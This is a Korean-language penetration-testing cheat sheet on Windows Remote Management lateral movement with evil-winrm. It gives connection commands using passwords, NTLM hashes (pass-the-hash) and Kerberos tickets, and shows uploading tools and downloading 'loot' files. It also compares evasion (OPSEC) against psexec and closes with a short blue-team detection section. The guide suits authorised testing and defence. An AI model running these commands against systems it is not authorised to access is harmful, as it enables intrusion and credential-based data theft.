ATT&CK: T1021.006 Windows Remote Management · Lateral Movement (TA0008)
WinRM은 Microsoft가 밀고 있는 공식 원격 관리 프로토콜(WS-Management 기반). 많은 조직에서 PsExec 대신 WinRM을 쓰도록 밀고 있고, Server 2012+는 기본 활성인 경우도 많다. evil-winrm은 Ruby로 쓴 간결한 클라이언트.
1. 설치
gem install evil-winrm
# 또는 Kali 패키지
apt install evil-winrm
2. 기본 접속
evil-winrm -i 10.0.0.5 -u alice -p 'Password'
성공 시 바로 PowerShell 세션:
*Evil-WinRM* PS C:\Users\alice\Documents> whoami
corp\alice
3. 패스더해시
NTLM 해시만 있을 때:
evil-winrm -i 10.0.0.5 -u alice -H aad3b435b51404ee...
4. Kerberos 티켓
export KRB5CCNAME=alice.ccache
evil-winrm -i dc01.corp.local -u alice -r CORP.LOCAL
-r은 realm.
5. 내장 기능 — 파일 업/다운로드
세션 안에서:
*Evil-WinRM* PS> upload /local/path/tool.exe C:\Users\alice\tool.exe
*Evil-WinRM* PS> download C:\Windows\Temp\loot.txt /local/path/loot.txt
6. 스크립트 자동 로드
evil-winrm -i 10.0.0.5 -u alice -p 'Pw' -s /path/to/scripts/
# 세션 내에서
*Evil-WinRM* PS> Invoke-SomeScript
로컬 디렉터리의 .ps1 파일들이 메모리에 로드돼 세션에서 바로 호출 가능.
7. HTTPS (5986)
인증서 검증 생략:
evil-winrm -i 10.0.0.5 -u alice -p 'Pw' -S -c cert.pem -k key.pem
-S: SSL.- 자체서명 인증서 쓰는 환경이면
-S+--no-cert-validation.
8. 전제조건 체크
WinRM이 열려있고 사용자가 Remote Management Users 그룹에 속해있어야:
# 대상 호스트에서 (사전 체크)
Get-Service WinRM
Get-LocalGroupMember 'Remote Management Users'
# 원격에서 포트 체크
nxc smb 10.0.0.5 -u alice -p 'Pw' # 결과에 WinRM: True 표시됨
NetExec nxc winrm 모듈이 “로그인 가능 여부"를 batch로 확인하기에 좋다.
9. 다른 Impacket exec 대비 특징
| 측면 | WinRM/evil-winrm | psexec/wmiexec |
|---|---|---|
| 서비스 생성 | X | ○ (psexec) |
| 디스크 쓰기 | X (기본) | ○ (ADMIN$에 임시 EXE/파일) |
| 로그 흔적 | Microsoft-Windows-WinRM/Operational | 7045, WMI-Activity 등 |
| 상호작용 | ○ (완전) | △ (wmiexec은 반쪽) |
| 암호화 | 기본으로 HTTPS/Kerberos | SMB 암호화 설정 의존 |
OPSEC 측면에서 evil-winrm이 상대적으로 조용한 편 — WinRM 로그가 가볍고, 디스크 쓰기 X.
10. 블루팀 탐지
- Microsoft-Windows-WinRM/Operational Event ID 91 (세션 생성).
- Microsoft-Windows-PowerShell/Operational Event ID 4103/4104 (스크립트 블록 로깅).
- 비정상 소스 IP → WinRM 접속. GPO로 접속 가능 호스트 제한 추천.
참고
- Hackplayers/evil-winrm
- MITRE ATT&CK — T1021.006